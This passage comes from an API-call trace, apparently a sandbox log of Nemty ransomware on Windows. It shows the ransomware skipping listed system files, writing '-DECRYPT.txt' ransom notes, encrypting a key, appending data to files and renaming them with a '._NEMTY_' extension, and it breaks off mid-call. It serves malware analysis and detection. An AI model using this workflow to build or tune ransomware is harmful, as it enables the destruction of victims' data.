(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.086] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\SendMail.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\sendmail.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\SendMail.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\sendmail.ptb._nemty_kgobjgd_")) returned 1 [0182.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.087] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0182.087] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0182.088] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0182.088] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0182.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0182.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0182.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0182.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0182.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0182.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0182.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0182.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.091] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.091] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0182.091] CloseHandle (hObject=0x2e8) returned 1 [0182.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0182.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0182.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0182.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0182.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0182.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.092] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.093] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.093] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0182.094] CloseHandle (hObject=0x2e8) returned 1 [0182.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0182.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0182.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.094] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x202cf5b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x202cf5b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0182.094] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0182.094] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x202cf5b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x202cf5b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.094] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0182.094] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0182.094] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fab, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0182.094] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0182.095] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0182.095] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0182.095] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0182.095] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0182.095] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0182.095] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0182.095] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0182.095] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0182.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0182.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0182.095] Sleep (dwMilliseconds=0x5) [0182.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x202f5710, dwHighDateTime=0x1d561e8)) [0182.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x202f5710, dwHighDateTime=0x1d561e8)) [0182.097] GetLastError () returned 0xb7 [0182.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.097] GetLastError () returned 0xb7 [0182.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.097] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0182.097] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0182.097] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0182.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0182.097] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="i7L/iLqUtvNtFYY0UdEsoKxzZv2CWTrPkgaPkqiZUppR5B/kCvcCAvFuwc7ePLFG\r\n4ON7OtJhyk0bSDjGzpWColiXfg++mQA67n56CAWMJtQTHEzuTO1blm4HWMm/0+4T\r\nCo1+4qHwkT8vVDTvo/5tnh34MzCXCJI+qPFwVQeLzb6t4xI8weRyZdl+vUtN4oFu\r\nbaOJjK3ExlHwLK/NdWzSm19AgJdRBJ30QuFusSpsrPLDHv1cB18jdWLJhfTUnTww\r\nQ++VsgG2DjfeLVV2onhr74Oy0kM/l+FLpdDEyQU0FerYhotM7KaHf8j4iPv1VouK\r\ncEKfc3LiVSY5JoD/LK0v0g==\r\n", pcchString=0x653e29c) returned 1 [0182.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0182.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0182.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0182.098] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=36779) returned 1 [0182.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8fa0) returned 0x6352c48 [0182.098] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.098] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8fa0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x8fa0, lpOverlapped=0x0) returned 1 [0182.102] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.102] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8fa0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x8fa0, lpOverlapped=0x0) returned 1 [0182.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.103] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=36779, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8fab [0182.103] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0182.103] CloseHandle (hObject=0x2f0) returned 1 [0182.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0182.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0182.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0182.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0182.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.103] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0182.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0182.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0182.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0182.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: 